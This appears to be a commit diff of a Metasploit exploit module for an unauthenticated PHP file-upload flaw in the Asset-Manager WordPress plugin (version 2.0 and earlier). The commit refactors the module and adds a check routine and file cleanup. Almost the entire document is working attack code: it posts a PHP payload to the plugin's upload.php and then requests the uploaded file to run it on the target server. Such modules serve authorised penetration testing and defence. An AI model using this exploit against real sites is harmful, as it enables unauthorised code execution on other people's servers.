|
8 | 8 | class Metasploit3 < Msf::Exploit::Remote
|
9 | 9 | Rank = ExcellentRanking
|
10 | 10 |
|
11 |
| - include Msf::Exploit::Remote::HttpClient |
12 |
| - include Msf::Exploit::PhpEXE |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Exploit::FileDropper |
13 | 13 |
|
14 | 14 | def initialize(info = {})
|
15 |
| - super(update_info(info, |
| 15 | + super(update_info( |
| 16 | + info, |
16 | 17 | 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
|
17 |
| - 'Description' => %q{ |
18 |
| - This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress |
19 |
| - plugin. By abusing the upload.php file, a malicious user can upload a file to a |
| 18 | + 'Description' => %q( |
| 19 | + This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress |
| 20 | + plugin. By abusing the upload.php file, a malicious user can upload a file to a |
20 | 21 | temp directory without authentication, which results in arbitrary code execution.
|
21 |
| - }, |
| 22 | + ), |
22 | 23 | 'Author' =>
|
23 | 24 | [
|
24 |
| - 'Sammy FORGIT', # initial discovery |
25 |
| - 'James Fitts <fitts.james[at]gmail.com>' # metasploit module |
| 25 | + 'Sammy FORGIT', # initial discovery |
| 26 | + 'James Fitts <fitts.james[at]gmail.com>' # metasploit module |
26 | 27 | ],
|
27 | 28 | 'License' => MSF_LICENSE,
|
28 | 29 | 'References' =>
|
29 | 30 | [
|
30 |
| - [ 'OSVDB', '82653' ], |
31 |
| - [ 'BID', '53809' ], |
32 |
| - [ 'EDB', '18993' ], |
33 |
| - [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ] |
| 31 | + ['OSVDB', '82653'], |
| 32 | + ['BID', '53809'], |
| 33 | + ['EDB', '18993'], |
| 34 | + ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html'] |
34 | 35 | ],
|
35 |
| - 'Payload' => |
36 |
| - { |
37 |
| - 'BadChars' => "\x00", |
38 |
| - }, |
39 | 36 | 'Platform' => 'php',
|
40 | 37 | 'Arch' => ARCH_PHP,
|
41 |
| - 'Targets' => |
42 |
| - [ |
43 |
| - [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], |
44 |
| - [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] |
45 |
| - ], |
| 38 | + 'Targets' => [['asset-manager <= 2.0', {}]], |
46 | 39 | 'DefaultTarget' => 0,
|
47 | 40 | 'DisclosureDate' => 'May 26 2012'))
|
| 41 | + end |
| 42 | + |
| 43 | + def check |
| 44 | + uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php') |
| 45 | + |
| 46 | + res = send_request_cgi( |
| 47 | + 'method' => 'GET', |
| 48 | + 'uri' => uri |
| 49 | + ) |
48 | 50 |
|
49 |
| - register_options( |
50 |
| - [ |
51 |
| - OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) |
52 |
| - ], self.class) |
| 51 | + return Exploit::CheckCode::Unknown if res.nil? || res.code != 200 |
| 52 | + |
| 53 | + Exploit::CheckCode::Detected |
53 | 54 | end
|
54 | 55 |
|
55 | 56 | def exploit
|
56 |
| - uri = target_uri.path |
57 |
| - uri << '/' if uri[-1,1] != '/' |
58 |
| - peer = "#{rhost}:#{rport}" |
59 | 57 | payload_name = "#{rand_text_alpha(5)}.php"
|
60 |
| - php_payload = get_write_exec_payload(:unlink_self=>true) |
61 | 58 |
|
62 | 59 | data = Rex::MIME::Message.new
|
63 |
| - data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") |
| 60 | + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") |
64 | 61 | post_data = data.to_s
|
65 | 62 |
|
66 | 63 | print_status("#{peer} - Uploading payload #{payload_name}")
|
67 |
| - res = send_request_cgi({ |
| 64 | + res = send_request_cgi( |
68 | 65 | 'method' => 'POST',
|
69 |
| - 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php", |
| 66 | + 'uri' => normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php'), |
70 | 67 | 'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
71 | 68 | 'data' => post_data
|
72 |
| - }) |
| 69 | + ) |
73 | 70 |
|
74 |
| - if not res or res.code != 200 or res.body !~ /#{payload_name}/ |
| 71 | + if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/ |
75 | 72 | fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
|
76 | 73 | end
|
77 | 74 |
|
| 75 | + register_files_for_cleanup(payload_name) |
| 76 | + |
78 | 77 | print_status("#{peer} - Executing payload #{payload_name}")
|
79 |
| - res = send_request_raw({ |
80 |
| - 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}", |
| 78 | + send_request_raw( |
| 79 | + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'assets', 'temp', payload_name), |
81 | 80 | 'method' => 'GET'
|
82 |
| - }) |
83 |
| - |
84 |
| - if res and res.code != 200 |
85 |
| - fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed") |
86 |
| - end |
| 81 | + ) |
87 | 82 | end
|
88 | 83 | end
|
0 commit comments